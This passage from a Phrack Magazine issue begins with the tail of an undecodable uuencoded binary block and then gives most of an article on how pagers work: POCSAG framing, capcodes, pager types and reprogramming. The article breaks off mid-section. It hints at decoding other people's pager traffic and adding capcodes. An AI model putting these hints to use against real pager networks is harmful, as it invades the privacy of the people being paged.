M/"#!X&?!_\'`/`_!_#_!_YQXP>/!S\'_C\'C(<'@P?^AP?@_P>`/P?_!_<3_#
MP>/!QSQXP>'!_\'OP?QPP>'![^7_S?_!\,'_P?#!^<'\8<'P?\+_P?Y`?`'!6
M\%=\8''!^,'@P<'!Q\'`/'!YP?_!\<'SP?'!X\+_PC_!V'@X?GS!_,/QP?_!\
MW\'F?'_!_`P./YQPP?_!X\'SP?_"X\'A@,+_/\'`8,'QP?@"O\'D?'_!^,'@7
MP=X>>,'_P?C!\`#!\'_!_Y_!_G#"_P#">&'!\,+CG\'\.,'_P?AP/#^\.,'P%
MP>'!Y\'_P<`\/\'\?\'_F'C!X\'/P?^/P>,!@'X`P?!OP<`<P?[!^,'VP?'"*
M_\'GP<9^>,'AP?_!Y\'\<,'QP>_E_\W_P?/!_\']P__!^,3_P?#!_\'WP?C"1
M_\'P><'\P?!QP>/!X'S"<,'_P?#!\\'QP>!_P?_"?\'\<#C"?,)XP?#!\<'_0
MP>/!]GQ_P?P\/C_!_GC!^,'CP?/!_\'SP>/!\</_/\'HP?C!\<'_P?`_P>Q\)
M?\'\8,(^>,'_P?C"\,'X=\'_P?Y^<<+_.<'X<''!^,'@P>/!_\'X.,'_P?@@F
M?C_!_#C!^&'#_\'^?\'\?\'_O'C!X<'OP?_!X,'C,'!X<,'PP>/!X#Q\>#!@)
MP__!X'YXP>!SP>?!_,'PP?G!Y^7_S?_!\]#_P?!_P?_!^'O!X\'PP?\`P?C!>
M_\'PP?/!^\'@/\'_PC^>`!Q^'`!YP?!AP?_!X!Y^?\'^#,(?GGC!^,'#P>/!-
M_\'CP>?!XY_"_Q_!S,'^P?G!\\'A'\',?'_!_`@?'GC!_\'XP?#!^\'_P<?"6
MGS\SPO\_P?@`8\'YP<`#/\'P''_!^``>/QPXP?!@PO\?P<\_P?Q_P?^>>,'CX
MP<_!_P`#'CX8>&'!PQX,?'@88,/_P<9^,,'@`\'GP?C!\<'_P</E_\W_P??/D
M_\'^?G_&_\'?P?[%_W_!_\*_P=^'G\(?`\'_P?X'P?_!X!_"/\'_PQ^>/@/!W
MQ\'GP?_!P\''P>>/G\'_#PX>>\'SP>,/CCX_P?X.'QX<?\'\?,'_P=_!QY_"S
M'P/"_Q_!_@]GP?F"!Q^`'G_!_A["'PX8`'`?P?\?CQ_!_C_!_YX9P>?!S\'_F
M``\>/QY_P<?!PQ\./AP87L/_#C\;P>`#P<?!_,'"#\''Y?_=_\'^#G_4_S^?-
MC\+_#\'_P?X_P?\_P?_$'WX'P<_!Y\'_P>/!S\'GAQ_!_P\?#'_![0>/'CX_.
MP?\.'QX^?\'\?#[!SX>?PA\'PO\?P?X_P>?!^8_"'P\>?\'^?P\?#AP'?@_!Y
M_Q^//\'^/\'_'AO!YX_!_P8/'C\>?\''!Q\./CQ\?G_"_PX_!\'C@X?!_,'`C
M!\'/Y?_>_P?D_Y_!_P_$_\+OP<8?P?\&'P?!_\'^!X8?PC_!_P[#'W_!_CX'3
MP<<'C\(?AY_!_Q_!_C\GP>N/P<\?#QY_P?Y_CQ\/'Y_!_X?!_Q^//\'_/\'GF
M#P?!QX_!_P_!_Q]_C\'_P<('/PX^/W@.?\+_#C\'P<?!_\''P?_!P@?!Q^7_'
MWO\'\/\$?X?!_\'^#\'@/\'_/\'_'C\>/,'_P?P^`<'@#X_"'X>/P?\_P?X^/
M,<'APL?"'QY_P?Q_CQ\>/<+_P>?!_Q^//\'^/\'G'P/!YX_!_P_!_QY_G,'_;
MP<`'/PP^/,'X`'_"_X0_`\'GP?G!Y\'\P>"CP<?E____T/\_Q?_!^<G_P?W!5
M_\'AP?!_P>?"_\''P>_!_S_!_B!X8<'AP<<_*!A_P?C!_\'//3PXP?C!Y\'C2
MP?_"OS_!_S_!XY\!P>/!S\'_C\'_/G^8P?_!X<'_/[Q\>,'P8,/_P>!_(<'AC
MP?G!X\'XP?'!\,'CY?___]#_/]+_P?C$_\'/Q/_!X,'X0<'P#\'_P<`0P?_!Z
M^,'_P<^`/'APP>'!X\'_P=!^?\'_,\'CG\'#P>/!S\/_P?Y_N,'XP>/!]G_!Z
M_'QXP?#$_\'@?G'!X<'QP>/!\,'QP?#!X^7____0_W_<_\'PP?AQP?!_P?_!-
MX,'XP?_!^,+_P>#"?&'!\&?!_\'@?G_!_\'@=\'_PN/![\/_?GA\>,+S?GS"J
M>,'XP?S#_\'@?G'!\<'XP>/!^,'QP?#!\^7____H_S_'_\'YPO_!\<7_P<!_I
MP?X#P?`?P?_!X,)_P?_!P#_!W\''P>?!S\'_'\'_/P!^<,'QP<<('CAXPOC"7
M_\'/P<(^<<'AP?'!X\'XP?/!\,'CY?___^?_P?X?T__!W\'_G\7_P<8?G\'?F
MP?_!W\'_G\'_'X!^`\'P#X`?`#[!_AC"_\''AQX[PL/!Q\'\PO/!Q^7____H#
M_S_E_X_!_P_!_@^&'P1_P?X'P>?!_\'&#PQ_P<$'P<?!_,'S!\'/G^3_____;
M_];_C\+_#\'GP?_![Q^'P?_!Y@^/POX'P<\?Y/______VO_!]\3_P?W!_Y^/D
MP?[!_P_!S[_D_______:_\'SQ/_!^,/_P?S"_\'OY?_-_\CPP?'!\,/QP?#!$
M\<'Y___\_\'SQ/_!_L/_P?Y_Y__-_\'PQ6#'<,'P<,'PP?G!^,+_P?W!^___8
M^__!_L3_?^?_S?_!^\'XP?'!^,'P8,-`<,-``,-`Q`#"0&!PP_#!^,/[P__!*
M^______;_]'_P=_%GP\>#PX?#PK"!LH"!L,.PA\/PQ_!W______7_^+_PY\?O
MQ`\'#\D&#L(&RP^?O\'?O______%_^C_P=_#C\,/!P\'#\,'QP;&!\0/PX^?I
MP_^?PM_"_\'?___W__;_O\'_O\*?K\(/P@["!,(`!,4`!,0`!,(&!\,/CQ^_^
MPO^_PO^____L__W_P_W!\<+PP>#"8,D@Q@#$(,/@8,'@8,'@8,'@P?'!\,+YI
MPOW__^/_S?_!_F/!X,'WP?S"]\'@P?_!\,'\P?'!X,'WP?#!^,'\P?/#_\'WZ
MZ/_!^<+QP?C!\,'QP_#"X,+PP>#+8$#$8,7PP?'__]S_S?_!_'/!X,'WP?C!/
M\\'WP>#!_\'P?&'!X'?!X,'P?'/!_\'SP?_!\</_P?GK_\'XP?W!\,/XR/!P$
MP?#$<,5@<&##<,'PP?C!^<'[Q/W__]/_S?_!Q'O!W,'GP<QAP>9XP?_!PWS!;
M^YO!XQAP>$'!_@'!S@'!\<'_P?/!P'O!\X#!\'_#_\'XP?_!_L'Q]/_"^\'X@
MP?#"0,(`0,8`0,(`0'!@<,'PP?C"^</[P?G!^___Q?_-_\'.?Y_!YXY#P<8^$
MP?^/GL'_G\'F'G><&\'^`XX+P>/!]\'GP<`_P?<`8!_!_W\_P?X?P?X'G@_&T
M_\'?[_^?C@X/#@(.`LH`Q`+"!@\"!@X/PQ___\W_P<\/C\'GCD5.?\'_G\'.+
M'X_!YS_!_\'^/\'^/XX_P>'!Y\'#P?P_P?<>9Q_!_C\?,@_!_P^.#Y_!QC_"4
M[\'_!\'OA\'_?L(/PO\/PO_"#\'_/Y_"_\'?Y?\/CP_"'\</#L(&!,@&#L4/5
MPQ_U_\W_P<\'A\''CD<&?\'_'\'.#X?!YS_!YYX/P?\?CW_"Y\''P?_!]\'G@
M'F?!_\'^/AXWA\'_PH\/G\''/\'/P<?!SP?!QP?!_G["!\'_;@_!_W_"!\'_/
M'P_"_X_#_Y^/YO_#G\2/Q0\'P@_"!P;"!\,&PP?)#X\/PH^?Z/_-_\'/@\'\>
M)XY&!G0_O\',!X?!YG_!\`P!P?\'A\'_P>!GC<'\P?/!XQYGP?_!_#X.<\'S9
MP?^/PY_!S\'_P<QCP<X<9Q[!_#_"'\'^<!_!_CP'`,'@#@3!Y\'_@,'OP<_!4
M_!\'P>0_P>0_Q/_![Y_!_[^?P?^_Z_^_G\(/#`3+``0`P@8$!P\?OY^_G[_!T
M_\._VO_-_\'GP?'!^&?!S&0$<'^_P>PG@<'F?\'P.`'!_X&`P?#!X&?!R,'XK
MP?'!\R!@P?_!^#P,PO'"_\._P>_!_\'LP>'!YGQB?\'X?SY_P?YQP?_!_#TOX
MPN'!SC!AP>>@P>/![\'P?"'!X'_!X#W$_\'@.<'@?"/!_\'CP>#!_\'@PO_!P
M\<'YV?_!_<[_POW!\,/@Q&#!X,(@`"#%`,8@8,,@PF#!X,/QP?7!_=+_S?_!2
MX,'PP?AAP>!BP<!X?\'_P>S"_\'R?\'QP?C!\<'_P?#!P,'P8&/!P,'XP?'!$
M\P#!\'_!\<'\8,+QQ?_!X,'_P=S!\,'F?&!_P?!_?G_!_G'!_\'X/\'_P?/!0
MX\'B>&#!\\'_P?'!_\'QP?C!\,'@P?_!X,'YP?_!Q\'N?L'P>,'@P?C!\\'\T
M8<'@?\'@?F/!X,'P?,'_P?##_\'\P?/1_\'\VO_!^<'PP?C'\,'@P?#!X'!@O
MP>#$8'#&8,'@P?#/_\W_P>#!\'APP?ACP>!X?\'_P?S"_\'P?L'QPOC!_L'XA
MP>#!^'#!XV#!^,'QP?-PP?#!_\'PO'#"\<7_P>!_P?C!\,'V?&!_P?!_?G_!)
M_'#!_\'X?\'_P?/![\'@>&#!]\'_P?!_P?'"^,'WP?_!\<'YP?_!Y\'\?,+X4
MP>#!^,'_P?QQP>#!_\'@?'/"\'S!^<'@?\+_P?AQT?_!_.#_P?O!^<']POG%&
M^,3PP?C#\'#!\,-@S__-_\'L`<'`<!S!Y\''@'_!P#S"_\'W@'#"^,'\>,'$7
M>&/!PP#!^,'QP?-\<\'_P?`<<'/!\<'_P]^?P>'!_\'<P>)&?F)_P?`_?@/!1
M_G`?P?C!W[_!\\'/P>(`8&.!P?A_P?#!^<'\9\'?P>/!V<'_`\'.'L'\P?G!)
MY\'XP?_"^,''P=_!Y\'&PO_!\\'X><'@'X_!S\'X`-'_P?W!_\'QP?_!_L'[8
M[__!^\'XP?G/_\W_P<\'@GH>P>^/@'_!P!_!_Y_!YX)R'L+^'8X>)X<.?\'[5
MP<<^9\'_P>`.,'/!\\'_Q)_!S\'_GD8&?D9_P>(?/@_!_@(?P?G"'\''C\'FP
M`$('`L'\/\'P&<'^1Q_![Q_!_P?!SA[!_L'YP<?!_!_!_L']CY_!QX[!_Q_!O
M_\'\?<'/'P^/'QY_TO^#P?_!_@>/___!_\[_G\7_P<_&_X_!_@_"_P?!SP9O0
MP<_"/\'^#SYG'\'GCCPSA\'_PH^?'\'/P?^.9P\^!S]`'\(_P?XOP?_!^`\?U
MP>>/P<8.9P</P?Y_P?(=P?X$'\'@'\'_%\'.#G]]P<8\#\'_P?X''\'/P<;")
M#\'G/!W"CP^''\(_TO\./Q_"#___P?_=_P_"_P_!WX=_P>_"?\'_#\'_9A_!*
MY\'./C</P?^/PI\/P<_!_X[![X\>1Q\'#\(_P?XGP?_!X@\?P>>/A@Y'!X_!C
M_L'_P?>_P?X''\'''\'_!\'.#\+_ASX/PO\&'\'/AL('P<8>'\*/!X>?'S_2P
M_P\^'\(/___!_^C_O\+_'\/_P?P/P?_!WY^_A<'`/Y[!_XX!P>>,PL\_#\'^[
M?\'_P>>/G\'GP<>&/F>'G\'^P?_!]\']P?[!QY_![\'_P?X!P<YDP?[!_<''"
MP?R_P?W!_(<?P>?!Q@\'P>0\B<'/C@>/G\(_TO^?/A^/'___P?_O_\']Q?_!@
MX<'@/\+_P>\!P??!X<'OPO\AP?[!]\'_P>?![\'_P>?!X(Y\8\'GN<'\P?_!&
M\\'XP?G!Y\'_P>_!^<'\(,'NP?#!_,'YP>?!^,'_P?C!_<'GO\'GP>3!_[_!J
MX<'XP>'![\',(\'YO\(_T/_!_<'_OSR?P?\____!__7_P?/!^<3_P??!_\'S+
MP__!\</_P??#_\'P?L'^P?/!Y\'`P?S!_\'SP?QQP>?!_\'GP?C!_,'PP>S!:
M\,+XP>?!^,'_P?C!\<+_P>/!Y,+_P?/!^,'AP?_!T`'!^#_!_W_0_\']PO_!+
M^,+_P<#__\'____*_\'XQ/_!\,'\P?_!\\'^<</_P?A\P?C!_,'XP?S!^,'_]
MP?C!_\'XP?'"_\'@?,+_P?'!^,'QP?_!^''!_,-_T/_!_<'_P?YXPO]@___!&
M____S__!^\C_P?QOP?[#_\'YP?_!_<'_P?X#PO_!X'X#P?_!\'C!\<'@&,'Y;
MP=S#/]#_P?W!_SX8#\'?F___P?___^/_#\+_P>8^!\'_P?`?P?O!PAO!_Y\?K
MPC_2_QX8#Y\?___!____Z_\?P?_![W_!_\'?/[\_TO\>/P>/#___P?____/_R
M/]+_#V?!YY\/___!_______%_\']P?^'P_^$___!_______%_\']___'____G
M___%_\']___'_______%_\']___'_______%_\']___'_________\W_____L
M____S?_________-_______%_\']___'_______%_\']___'_______%_\']1
M___'_______%_\']___'_______%_\']___'_________\W_________S?__W
M_______-_______%_\']___'_______%_\']___'_______%_\']___'____%
M___%_\']___'_______%_\']___'_________\W_________S?_________-]
M_______%_\']___'_______%_\']___'_______%_\']___'_______%_\']`
M___'_______%_\']___'_________\W_________S?_________-________T
M_\W______\7_P?W__\?______\7_P?W__\?______\7_P?W__\?______\7__
MP?W__\?_________S?_________-_________\W______\7_P?W__\?_____\
M_\7_P?W__\?______\7_P?W__\?______\7_P?W__\?______\7_P?W__\?_P
M________S?_________-_________\W_________S?______Q?_!_?__Q___5
M____Q?_!_?__Q_______Q?_!_?__Q_______Q?_!_?__Q__________-____$
M_____\W_________S?_________-_______%_\']___'_______%_\']___']
M_______%_\']___'_______%_\']___'_________\W_________S?______O
M___-_________\W______\7_P?W__\?______\7_P?G__\?_SO_!^?__]?_!2
M_?__Q__._\'YP?O___3_P?W__\?_S?^&`@`"`,D"Q`8.Q1\/P=______Y?_-X
M_X\'Q08.Q@;$!,(&PP\.PP\?G______B_]#_P=_"G\/_P<^_G\*/#X_&#\T'0
MQ0_"C\.?P?^/_____]#_X/^_PO^_PH\/!L0$QP`$P@8'P@^/GX^______\__J
M[/_!_<+YPO'!^,'QP?#!X"#!X,(@P@#)(,)@P?'!X<'@P>'!\<']]__!_?__$
MQ__S_\'[QO#!X,'PP>#&8$!@0,)@P>!@P>#!\,+QP?#!_\']\O_!_?__Q__-Q
M_\'\P?_!\<3_P?/!_\'PP?S!^\'YP?_!^<'XP?W?_\+]P?_"^</XQO#%<,)@_
MQ'#&\,']P?_#^,'[P?W"^=[_P?G__\?_S?_!_`_!X<3_P</!_\'PP?Q[P>'!K
M_\'AP?#!_>O_P?/!\,)@0'#$0,8`0&!`PG#!^&#"X,/PP?O!_\+[VO_!^?__A
MQ__-_XX'!L''CL''P<\.P?^&'`<&P<X"P>(<!QX/P__!_G\^#\+_P?X?P=_!8
M_Q_!W^;_PM^>P@_##LD"`,("Q@8/#A^?P=___];_S?\,#PY/CD>/#\'_CQ["N
M#XX.9QP''`_!_W_!_\'^/SX/PO_!_@^/P?X/C\+_'^;_G\+?GQ_'#\,.R`8.-
M!@\'Q0_#'\'_O___S?_-_XX?#\''CD>./\'_'X_!_Q_!SA_!Y\'_P?>_C\'^G
M/\'^?L(_C\'_P>?!_P>&,P\'P<8>!\'_P<_![\'_!\'_P<_"_X_"_\'/ZO_#9
MC\(/C\0/P@?$!@?"!L,'PP^/P@_"CY_!W___P?_-_XP_#\''C&&&?\'_/XS!6
M_Q_!SG_!Y\']P?/!_<'_P?P]P?A^/CS"_\'AP?F'C#`'#\'`'`?!_X_!Y\'OO
M`\'_A<+_A\+_P<;&_[_!_[_J_[^?CP["!@`$QP`$P@#"!,(&P@___\W_P<PCY
MP>#!YXC!X,'D<,'_O\'L)@'!Y,'_P>!XP>'!^,'_P?@YP?!^PCS"_\'@P?G!B
M\;\QP>,_P>/!^,'SP?_!Q\'AP><XP?_!X&?!Y[!YP?/!P,'_P>_"^<'OP><AK
MP?`X(_'_P_W!\,'YP?'!\,'@8"!@Q"``PR#&8,/@Q&#!X"#"8,'@P?##^>;_%
MS?_!W,'CP>#!Y\'8P>#!P'#"_\'L8@#!Y,'_P>!P8\'X?\'X><'P?,(XPO_!/
MX,'YP?'!_\'QP>-_P>/!^,+_P</!X<'G>,'_P?AGP>;!^'#!\\'QP?_!S\'Y@
MP?'!Q\'F(,'P>&/Y_\'XP?G'\,'@8,'@Q6!`PV#%0,(`0&!PP>!@PN#$\,+Q2
MPO#<_\W_P?G!\<'X9\'XP>8@>,+_P?S!_GG!Y,'^P?#!^,'SP?[!X\'XP?'!2
M\'QP>'_!_\'@><'YP?_!\&,PP?#!^'_!_\'QP?#![GQ_P?Y@P>9^>,'SPO_!R
MX\'XP?'!Y\'F>,'QP?C!\?__Q?_!^<'PP?S!\,'YP?C!\,/XS?##<&!PQ&!P;
M8,)PPO##^=/_S?_!R<'SP?QGF,'F`'Q_/\'<P?]_P>3!_L'CP?C!\\'_P>/!!
M^<'!P>`^0#AOP?_!P'G!^;^P`P#!\'@/P?^QP>#![WY_P?Y@P<9^>,'SP=_!B
M_\'#N<'QAX9XP?/!^,'S___:_\'[P?_!^\'PP?/!X,'PPF##0,4`0,)@<,'Y[
MP?O0_\W_P<X#'@<>P<>&''^/'L'_'\'.'F?!_\'[P?_!]\'_P<'!PA[!PSS"4
M_X`[P?N?$X<?P?\?@\'_`<'N#\(_@$`.?QL3@L'_@YG!^X<'#,'WP?S!T___6
MYO_!W\(?'@X&Q@+/_\W_C@<,)QY/CPQ_CS_!_S^/#V>_PO_!Y\'_P>.''L''<
M/\+_A#_!_Y\WP<\?P?\?A\'^`<'O#\(_AT<.?QL7A\'_#QW!_X</!<'G/`?_J
M_^O_O\0/#@?/_\W_P=\/A\'O'\'OCX?!_\''/\'_O\'/!\'F#\'_P?X'PO_".
MC\''/@_!_X\?AY\WP<<?P<^/P?_!_@?![P_"/X_!Q\'//Q^'C\'_CQ_!_X</_
M!L'G/@?___'_P=_/_\[_O\'OP?]_PO^/P?_![\3_A\'@'\'_P?X/PO^?P=_!8
MYSP'P?^?N`>,-\'G#\''F<'QP?X(P>\//G^?P>?![CX[@Y_!_YP=P?N0+QS!Z
MY\'\!______"_]S_P?W)_\'\8\+_P?AGP>#!^\'S`,'@."'"_,'OP<\@PO_"`
MYSAYP>/"_\'\.,'QF&=\P?/!^,'S_____\+_ZO_!^,'_P?'!_\'WP>#!\'QG4
MPOS!_\'O8,+_PO?!X,'[P>/!X,'_P?YXP>'!^,'F>,'SP?#!\______"__?_W
MP?O$_\'PP?O!\\'@P?_!_L'X8\'XP?9PP?#!^,'S_____\+____!\,+_P?X?$
MP?W!_P#!\#G!^______"____Q/_!W\+_P=_!_A______P__________-____J
M_____\W_________S?_________-_________\W_________S?_________-R
M_________\W_________S?_________-_________\W_________S?______D
M___-_________\W_________S?_________-_________\W_________S?__R
M_______-_________\W_________S?_________-_________\W_________>
MS?_________-_________\W_________S?_________-_________\W_____R
M____S?_________-_________\W_________S?_________-_________\W_R
M________S?_________-_________\W_________S?_________-________]
M_\W_________S?_________-_________\W_________S?_________-____R
M_____\W_________S?_________-_________\W_________S?_________-R
M_________\W_________S?_________-_________\W_________S?______D
M___-_________\W_________S?_________-_________\W_________S?__R
M_______-_________\W_________S?_________-_________\W_________>
MS?_________-_________\W_________S?_-_\,/PA_"GS_!_\*?______3_'
MS?_#!\4/Q(_$G\'_G[_"W______J_\W_CL($T``$`,,$`,(&P@["#Q^_G[_"R
M_\*______]C_S?_!^,'PP>!@Q"!@Q2``(,H`PB``PR#!X&!QP?#"X<'QP_W_@
M____U?_8_\'[PO_!^\'_P?G!_\'PP?',\&#"X,1@0,1@P>#!\,'@Q?#_____F
MR__@_\']P?_!_<'XP?W#^,'YP?S"^,3PQ'!@<,1@<&#"<&##<,'XPOG!_?__G
M___&__O_P?O!^,/P8,'`0,@`PF#!\&!XP?#!^?__^?_]_\+?PI^/#L("``+%.
M`,,"!@(.'@^?PM____3____)_[^?Q0\.PP\.R`8.!LH/PA_!_\'?P[___]S_7
M___,_X^?PX\/CP^/#\,'QP8'PP;%!\0/C\(/C___V____]S_O\'_OY^_P?^/'
MP@\&Q`3'``0`!`7"#Y\?PK___]'____A_\']P?O"_\']POE@P?#!X,)@QB#"1
M`,4@8,'AP>#"\</]___*____P__!]^__POG%\,9@PD#"8,'@8,'PP>#!\,)@\
MP>#(\,'QP_#!\\'YP__!^>W____"_\'^<\/_P?GM_\3XPO!PP?!PP?##<,I@I
M<,5@QW#&\,+XP?#!_\'YP?O!_<'YY/___\+_P?1SP__!P'_!_<+_P?G!\'_!D
M_`'&_\'XZ__"^<'_P?O!^,'[P?_!^\'XPO!PPD#"8,-``,=`S`##0,'@<,'[<
MP?G:____PO_![G_#_XX_Q/_!\'_!_@/&_\'^'_;_PI_"WY\?P@X>#QX?'A\.<
MP@8"#L4"Q0#"`@#"`@X?#\*?U?___\+_P<X?A\'G?Y\?P?["_\'\9\'_P?X_<
MPO\_PO_![\'_#\;_/\'&'\/_AW_)_\'?]O^_GQ^?'\(/PP[(!@["#\_____"N
M_\'.#X?!QW^/'\'?P<?!_\'J9\'_P?[!_\'/P?\_PO_![\'_A\'_G\3_/\''O
M'\/_AW_)_X_]_\'OPH_$#\,'PP8'S____\+_P<\'C`8_A#>,P<9_P>1@?\'^0
M'X3!P#@<9,'GP?_!]\'_G[\?P?\^/\'/G\'_P?Y_CG_$_\'?Q/\`Q?\'P?_!&
M[\'_P>?^_Y_"O\_____"_\'OP>&`8'^`<\'(P<!_PN!_P?PCP<#!X#`X8,'GS
MP?'!\\'_O3P_P?Q^?\'OP?W!_\'\P?^\><'_P?O!_\']Q?\PQ/_!_B'!_\'CK
MP?_!X,3_P?G__\S____"_\'OP?B`P>#!_\'0<\'HP<!_P>#!_L'_P?QSP<!/Q
M(+G!^&?!\$/!\<'XP>#!_\'XP?9_P?_!_,+FP?_!^''"X,+P/<'_P?C"_\'\#
MPO!_P?_"^,'_P?'!_\'@?\/_P?#!Y___R____\+_P>S!^,+PP?_!^'/!^,'@Z
M?\'@PO_!_'-`?F`YP?AGP?!C<<'XP>#!_\'XP?Y_P?_!_,'^P?;!_\'P<<'PQ
MP>#!\'`]P?YX?\'_P?S"\#Y_P?C!^<'_P?'!_\'\?\'YPO_!\,'G___+____*
MPO_!S''!V,'APO\SP<C!S\'_P<!_O\'\P?\!P<\@P?G!X&?!\<'C><'8!E_!"
M\<'F?\'_P?S!\,'F?X#!Y[S!W\'@(\'(P>9YP=_!_P#!X&'!S&?!^<+_P>/!/
M_\+?P?!X?\'SP>?!S\'_P>?!\G___\;____"_\'.`X_!SG\?$PS!S\'_@'^?F
MP?[!_Q_!SP?!^\'&9\'[P<<[G`X?P>?!YG^?P=[!YL'.?X?!YQX?P<8'C\'&Z
M.9_!_P+!W@>>'\/_A\'_PI_!PG@?P??!QP_!_P<&'P]____$____PO_!SP_!K
MS\'OP?^?/@_!QG_!_V8?PO^.P<XO'XXGP?_!]S\/P=^'P?_!SW_!SXYWP>Y_V
MG\'O'@_!Q@^/P<=X#\'_#\'L#Y\/P_^'P?_"C\'/'X_!_@8'/P?"#@<?___$R
M____PO_![X_%_Q_!Y\+_P>8_PO^'P<8O'XXGP?_!YP?"CX?!_X]_P<\.=\'.&
M?Y_![QX/P<\/C\''?Q_!_Q_!Q@^?#\/_!\'_PH_!SY^/P>(&!R<'P@X''___C
MQ/___]3_?\'G?\'_P?<#G`X/P?P?P?_!QA[!\\'N?Y_!YXR.P<<G#,'&><+_R
MOXPGG\''P_\0P?^?C\'/EX_!\00#!@,^'@<?___$____V?_!X\'\/#_!^#_!P
M_\'P?\'QP?["_\'GP>'"X'`\P>9XP__!P&?!_<'GP?S!^,'_<,/_P>^QP>_!-
M\<'D(R0#/``GO___Q/___^#_P?G&_\'QP_!\=L'X?,+_P>!WP?QGP?QPP?_!S
M\,'_P=C!_\'FP?/!_\'SP>#!_\'$?\'_P>#__\;____H_\'YPOC!_L'_P?QXE
MPO_!\,'_P?QWP?YAP?_!\,'_P>!_P?![P?_!\\'PP?/!_'O!_,'@P??__\7_&
M___X_\'CP?_!X,'_P?!_P?_!\\'^`\'?`SQ&1___Q?______PO\/P?\/OA\/1
M/___Q/______R/]____$_________\W_________S?_________-________S
M_\W_________S?_________-_________\W_________S?_________-____R
M_____\W_________S?_________-_________\W_________S?_________-R
M_________\W_________S?_________-_________\W_________S?______D
M___-_________\W_________S?_________-_________\W_________S?__R
M_______-_________\W_________S?_________-_________\W_________>
MS?_________-_________\W_________S?_________-_________\W_____R
M____S?_________-_________\W_________S?_________-_________\W_R
M________S?_________-_________\W_________S?_________-________]
M_\W_________S?_________-_________\W_________S?_________-____R
M_____\W_________S?_________-_________\W_________S?_________-R
M_________\W_________S?_"'Y_"W________\C_S`\?G\'_O]/_PI_#_\*_2
MSI_#O\'_QI^_RY^_PI^_G[_!_\6?P[^?O___[/_)!\@/C\*?Q?_(GX^?_X^/'
MPY^/G\*/R)_!WY_"W\'_P=___]/_WP3&!@?'!L0$Q08'Q0\'PP8'#P</!\0/1
/!]0/C\2?C\F?SK___]#_K
``
end
sum -r/size 36774/43500 section (from first encoded line to "end")
sum -r/size 656/73815 entire input file
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 8 of 28
****************************************************************************
The Wonderful World of Pagers
by Erik Bloodaxe
Screaming through the electromagnet swamp we live in are hundreds of
thousands of messages of varying degrees of importance. Doctors,
police, corporate executives, housewives and drug dealers all find
themselves constantly trapped at the mercy of a teeny little box:
the pager.
Everyone has seen a pager; almost everyone has one. Over 20 million
pagers are on the streets in the US alone, sorting out their particular
chunk of the radio-spectrum. Another fifty-thousand more are
put into service each day.
But what the hell are these things really doing? What more can we
do with them than be reminded to call mom, or to "pick up dry-cleaning?"
Lots.
** PROTOCOLS **
Pagers today use a variety of signalling formats such as POCSAG, FLEX
and GOLAY. The most common by far is POCSAG (Post Office Standardization
Advisory Group), a standard set by the British Post Office and adopted
world-wide for paging.
POCSAG is transmitted at three transmission rates--512, 1200 and 2400 bps.
Most commercial paging companies today use at least 1200, although many
companies who own their own paging terminals for in-house use transmit
at 512. Nationwide carriers (SkyTel, PageNet, MobileComm, etc.) send
the majority of their traffic at 2400 to make the maximum use of
their bandwidth. In other words, the faster they can deliver pages,
the smaller their queue of outgoing pages is. Although these
carriers have upgraded their equipment in the field to broadcast at
2400 (or plan to do so in the near future), they still send out
some pages at 1200 and 512 to accommodate their customers with older
pagers. Most 512 and 1200 traffic on the nationwide services is
numeric or tone-only pages.
POCSAG messages are broadcast in batches. Each batch is comprised of 8
frames, and each frame contains two codewords separated by a
"synchronization" codeword. A message can have as many codewords
as needed to deliver the page and can stretch through several batches
if needed. The end of a complete message is indicated by a "next address"
codeword. Both addressing and user data are sent in the codewords, the
distinction being the least significant bit of the codeword:
0 for address data, and 1 for user-data.
Standard alphanumeric data is sent in a seven-bit format, with each codeword
containing 2 6/7 characters. A newer 8-bit alphanumeric format is
implemented by some carriers which allow users to send data such as
computer files, graphics in addition to regular alphanumeric messages.
The 8 bit format allows for 2.5 characters per codeword.
Numeric data is 4 bit, allowing up to 5 numbers to be transmitted per
codeword. Tone and voice pages contain address information only.
(NOTE: Pager data uses BCH 32,21 for encoding. I don't imagine
very many of you will be trying to decode pager data by building your
own decoders, but for those of you who may, take my interpretation
of POCSAG framing with a grain of salt, and try to dig up the
actual POCSAG specs.)
** THE PAGING RECEIVER **
Paging receivers come in hundreds of shapes and sizes, although the vast
majority are manufactured by Motorola. Numeric pagers comprise over
fifty percent all pagers in use. Alphanumeric comprises about thirty
percent, with tone and voice pagers making up the remainder.
Pagers are uniquely addressed by a capcode. The capcode is usually six
to eight digits in length, and will be printed somewhere on the pager
itself. Many pager companies assign customers PIN numbers, which are
then cross-referenced to a given capcode in databases maintained by
the service provider. PIN numbers have no other relationship
to the capcode.
Tone pagers are by far the most limited paging devices in use.
When a specified number has been called, an address only message
is broadcast, which causes the intended receiver to beep. Wow.
Tone pagers usually have 4 capcodes, which can correspond to
different locations to call back. Voice pagers are similar, except
they allow the calling party to leave a 15 to 30 second message.
The voice message is broadcast immediately after the capcode of the
receiver, which unsquelches the device's audio.
Numeric pagers, although seemingly limited by their lack of display
options have proven otherwise by enterprising users. Most numeric
data sent is obviously related to phone numbers, but numerous users
have developed codes relating to various actions to be carried out
by the party being paged. The most prolific users of this have
been the Chinese who have one of the most active paging networks
in the world. I suppose the next biggest users of code-style numeric
paging would be drug dealers. (2112 0830 187 -- get to the fucking
drop site by 8:30 or I'll bust a cap in your ass!) :)
Alphanumeric pagers are most often contacted through a dedicated
service that will manually enter in the message to be sent onto the
paging terminal. One such service, NDC, offers its phone-answering
and message typing services to various pager companies. Next time
you are talking to a pager operator, ask him or her if they are at
NDC. They probably are.
In addition to the capcode, pagers will have an FCC ID number, a serial
number, and most importantly, the frequency that the device has been
crystaled for imprinted on the back of the device. Although technology
exists that would allow pagers to listen on a number of frequencies
by synthesizing the frequency rather than using a crystal, pager
manufacturers stick to using crystals to "keep the unit cost down."
Pagers may have multiple capcodes by which they can be addressed by.
Multiple capcodes are most often used when a person has subscribed to
various services offered by their provider, or when the subscriber is
part of a group of individuals who will all need to receive the same
page simultaneously (police, EMTs, etc.).
Most low-cost pagers have their capcode stored on the circuit board
in a PAL. Most paging companies will completely exchange pagers
rather than remove and reprogram the PAL, so I don't think
it's worth it for any experimenter to attempt. However, like most
Motorola devices, many of their paging products can be reprogrammed
with a special serial cable and software. Reprogramming software
is usually limited to changing baud rates, and adding capcodes.
Additionally, some units can be reprogrammed over the air by the
service provider. Using a POCSAG feature known as OTP (over the air
programming) the service provider can instruct the paging receiver to
add capcodes, remove capcodes, or even shut itself down in the case
of non-payment.
** SERVICES **
With the growing popularity of alphanumeric pagers, many service providers
have decided to branch out into the information business. The most
